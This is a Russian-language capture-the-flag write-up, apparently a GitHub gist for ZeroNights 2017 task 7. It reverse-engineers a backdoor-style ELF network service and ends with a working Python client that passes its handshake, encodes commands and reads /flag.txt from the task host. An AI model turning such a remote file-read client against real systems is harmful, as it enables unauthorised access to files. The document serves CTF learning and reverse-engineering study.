Skip to content

Instantly share code, notes, and snippets.

@ilyaluk
Last active November 2, 2017 22:46
Show Gist options
  • Save ilyaluk/30773a8dd76cea950e4f6ffa0f3df381 to your computer and use it in GitHub Desktop.
Save ilyaluk/30773a8dd76cea950e4f6ffa0f3df381 to your computer and use it in GitHub Desktop.
ZeroNights 2017 task 7 writeup
  • Есть ссылка на сайт malware.zn.school-ctf.org. Видим там модуль чата, XSS в тексте сообщения.

  • В админке есть несколько чатов, первый из которых датирован сильно раньше начала таски.

  • В этом чате есть ссылка на архив и хост:

  • В архиве ELF x86-64 бинарь. Запускаем, он форкается в фон и начинает слушать на порту 48807. На хосте тоже открыт этот порт и туда вываливаются какие-то четыре байта.

  • Открываем бинарь в IDA, смотрим, что он делает. В main происходит примерно это:

void __fastcall __noreturn main(__int64 argc, char **argv, char **env)
{
  agree();
  clear_argv((const char **)argv);
  myfork();
  nop();
  sub_4012E8((__int64)&unk_611030);
  setup_socket();
}
  • agree — просит ввести AGREE для запуска
  • clear_argv — очищает argv[0]
  • myfork — форкается
  • sub_4012E8 — читает что-то из самого бинаря
  • setup_socket — биндит сокет и форкается для обработки соединений

В конце setup_socket вызывается основной обработчик соединения. Он выглядит примерно так:

__int64 __fastcall handle_sock(int fd)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v30 = *MK_FP(__FS__, 40LL);
  v1 = time(0LL);
  srand(v1);
  buf = rand() % 998 + 1;
  write(fd, &buf, 4uLL);
  v24 = 127;
  v25 = &v28;
  v10 = len_read(fd, (__int64)&v24, 0x7Fu);
  if ( v10 )
  {
    v14 = malloc(0x1000uLL);
    v15 = malloc(0x1000uLL);
    ptr = malloc(0x1000uLL);
    v17 = malloc(0x1000uLL);
    if ( v14 && v15 && ptr && v17 )
    {
      ascii_to_utf16(v14, (__int64)&v24);
      v18 = sub_401143((__int64)&unk_611030, 7);
      do
      {
        sub_4024CE();
        v19 = v2;
      }
      while ( v2 != 2 );
      nptr = &v29;
      utf16_to_ascii((signed int *)v14, (__int64)&v26);
      v11 = strtol(nptr, 0LL, 10);
      if ( v11 == buf )
      {
        write(fd, "maladca", 7uLL);
        v10 = len_read(fd, (__int64)&v24, 0x7Fu);
        if ( v10 )
        {
          ascii_to_utf16(v14, (__int64)&v24);
          decrypt((__int64)v14, (__int64)v15);
          v12 = space_index((char *)v14);
          if ( v12 != -1 )
          {
            v10 = substr((char *)v14, (__int64)ptr, 0, v12);
            if ( v10 != -1 )
            {
              v10 = substr((char *)v14, (__int64)v17, v12 + 2, -1);
              if ( v10 != -1 )
              {
                v3 = command_to_idx((__int64)ptr, (__int64)v15);
                v13 = v3;
                switch ( v3 )
                {
                  case 2:
                    utf16_to_ascii((signed int *)v17, (__int64)&v26);
                    v20 = nptr;
                    nptr[v26] = 0;
                    v4 = (unsigned __int64)list_dir(nptr);
                    s = (char *)v4;
                    if ( v4 )
                    {
                      v26 = strlen(s);
                      nptr = s;
                      for ( i = 0; v26 > i; ++i )
                        ++s[i];
                      len_write(fd, (__int64)&v26);
                      free(s);
                    }
                    break;
                  case 3:
                    utf16_to_ascii((signed int *)v17, (__int64)&v26);
                    v20 = nptr;
                    nptr[v26] = 0;
                    v5 = (unsigned __int64)cat_file(nptr);
                    v22 = v5;
                    if ( v5 )
                    {
                      v23 = *(_QWORD *)(v22 + 8);
                      for ( j = 0; *(_DWORD *)v22 > j; ++j )
                        ++*(_BYTE *)((signed int)j + v23);
                      len_write(fd, v22);
                      sub_4026E0(v22);
                    }
                    break;
                  case 1:
                    sub_4015CB(v14, "hello hello my friend!");
                    sub_40127B((__int64)v14, (__int64)v15);
                    utf16_to_ascii((signed int *)v14, (__int64)&v26);
                    len_write(fd, (__int64)&v26);
                    break;
                }
              }
            }
          }
        }
      }
    }
    if ( ptr )
      free(ptr);
    if ( v17 )
      free(v17);
    if ( v14 )
      free(v14);
    if ( v15 )
      free(v15);
  }
  return *MK_FP(__FS__, 40LL) ^ v30;
}

Что тут происходит:

  • Генерируется и пишется в сокет бинарно случайное число
  • Читается строка из сокета в length-value формате
  • Аллоцируются всякие буферы, проверяется, что strtol от прочтённой строки равен случайному числу
  • Пишется maladca в сокет
  • Читается строка в том же формате, конвертируется в utf16, расшифровывается по какому-то обфусцированному алгоритму, о нём позже.
  • Расшифрованная строка разбивается на две по пробелу, первая часть строки преобразуется в номер команды:
    • hello — 1
    • jqi3ow0o3qw3 — 2
    • t35j3r8o3h92 — 3
  • В зависимости от команды выполняются разные действия, интересны 2 и 3:
    • 2 — делается листинг директории, указанной в аргументе
    • 3 — читает файл, указанный в аргументе
  • Каждый байт результата в этих командах инкрементируется
  • Результат отправляется в сокет в length-value формате

Осталось разобраться с шифрованием. К счастью, в бинаре осталась отладочная функция для вывода буфера в length-value формате по адресу 0x4010E6, и немного запатчив бинарь можно видеть расшифрованные сообщения.

Немного поигравшись с разными бинарными строками можно понять, что буфер расшировывается примерно по такому алгоритму:

def dec(data):
    data = list(data)
    prefix = 0
    for i in range(len(data)):
        data[-i - 1] ^= prefix
        prefix = data[-i - 1]
    return bytes(data)

Остаётся посмотреть содержимое текущей директории и прочитать флаг из flag.txt.

#!/usr/bin/python
import socket
import sys
import struct
def send(data):
sock.send(struct.pack("<l", len(data)) + data)
def recv():
ln = sock.recv(4)
ln = struct.unpack("<l", ln)[0]
return sock.recv(ln)
def dec(data):
data = list(data)
pref = 0
for i in range(len(data)):
data[-i - 1] ^= pref
pref = data[-i - 1]
return bytes(data)
def enc(data):
data = list(data)
pref = 0
for i in range(len(data)):
data[-i - 1] ^= pref
pref ^= data[-i - 1]
return bytes(data)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('vdooli.zn.school-ctf.org', 48807))
rnd = sock.recv(4)
rnd = struct.unpack('<l', rnd)[0]
print('random', rnd)
send(bytes(str(rnd), 'ascii'))
print(sock.recv(7))
# send(enc(b'jqi3ow0o3qw3 /'))
send(enc(b't35j3r8o3h92 /flag.txt'))
flag_enc = recv()
flag = bytes([i - 1 for i in flag_enc])
print(flag.decode('ascii'))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment